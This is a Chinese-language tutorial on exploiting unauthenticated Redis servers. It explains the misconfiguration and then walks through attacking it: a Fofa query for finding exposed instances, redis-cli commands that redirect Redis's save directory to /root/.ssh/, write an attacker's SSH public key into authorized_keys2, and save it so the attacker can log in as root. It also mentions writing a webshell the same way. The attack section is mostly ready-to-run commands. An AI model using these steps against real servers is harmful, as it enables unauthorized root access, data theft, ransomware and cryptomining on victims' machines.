前言
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。
部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。
Fofa
protocol="redis"
Rides-cli安装
下载rides-stable文件
wget http://download.redis.io/redis-stable.tar.gz
解压文件
tar -zxvf redis-stable.tar.gz
直接使用src目录下的rides-cli工具即可
./redis-cli -h 目标主机IP地址 -p 端口号
漏洞利用
1.生成公钥和私钥
ssh-keygen -t rsa
2.使用redis-cli链接rides
./redis-cli -h 127.0.0.1
3.设置redis为以下内容
config set dir /root/.ssh/
config set dbfilename authorized_keys2
4.将我们刚刚生成的公钥文件放到/root/.ssh/
目录下,记得使用save保存哦
set x "
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSQAsZc1SWyjQIw1h9M25+jM0QONThZkL8IUjPIu87GM+PfvbKt2tqC1hDlmdiR0uTdJb/B5ysw4WqjhlHhI+n9CLI5LkKAZKD//aX8bLW20q/wNkFYTh2K0JX0YHA8B6D0XOjvZzWlVKaB2K1JvusHmekeQER7jLHyseyzieeMmIKps+28DneXm0zAN6AHDZkIIItcamFOneTblyK34fMgL3/hyb6MO30JNeDeIfk98UEc5OOmcximMcrTiEewH5PMBCra9omR2+0GF3Ws1ruMS070XLclx+e5nQqrVxVlkPJztAMFJd1EXSNBgw/+V34tOrMkRmUQ6O1GBvwbmcJPPgjJ2Sxl/wUApQLfRiHSPFeCvruFB7CANZBO+Lrty+vnAgn8aWWUgcz9LIarepNBymiMyC5ai7yYW9/GmqvS2lF91iHaNWS58ubEgZ4VoXQVi3OAt2DI7Zxiqp8pUfqv+aFz/8RQGrhYf7Tb8QMMKsY2G5uTnKVKh7wOuyaRs0= root@kali
"
save
5.使用生成的私钥登录成功
注意
如果想要访问root目录,必须具有root权限,也就是redis必须是root权限运行的才可以哦
也可以使用同样的方式写入webshell,不过需要知道网站的绝对路径和目录可操作权限
参考:
https://www.cnblogs.com/lcxblogs/articles/13534983.html
https://blog.csdn.net/limb0/article/details/100768767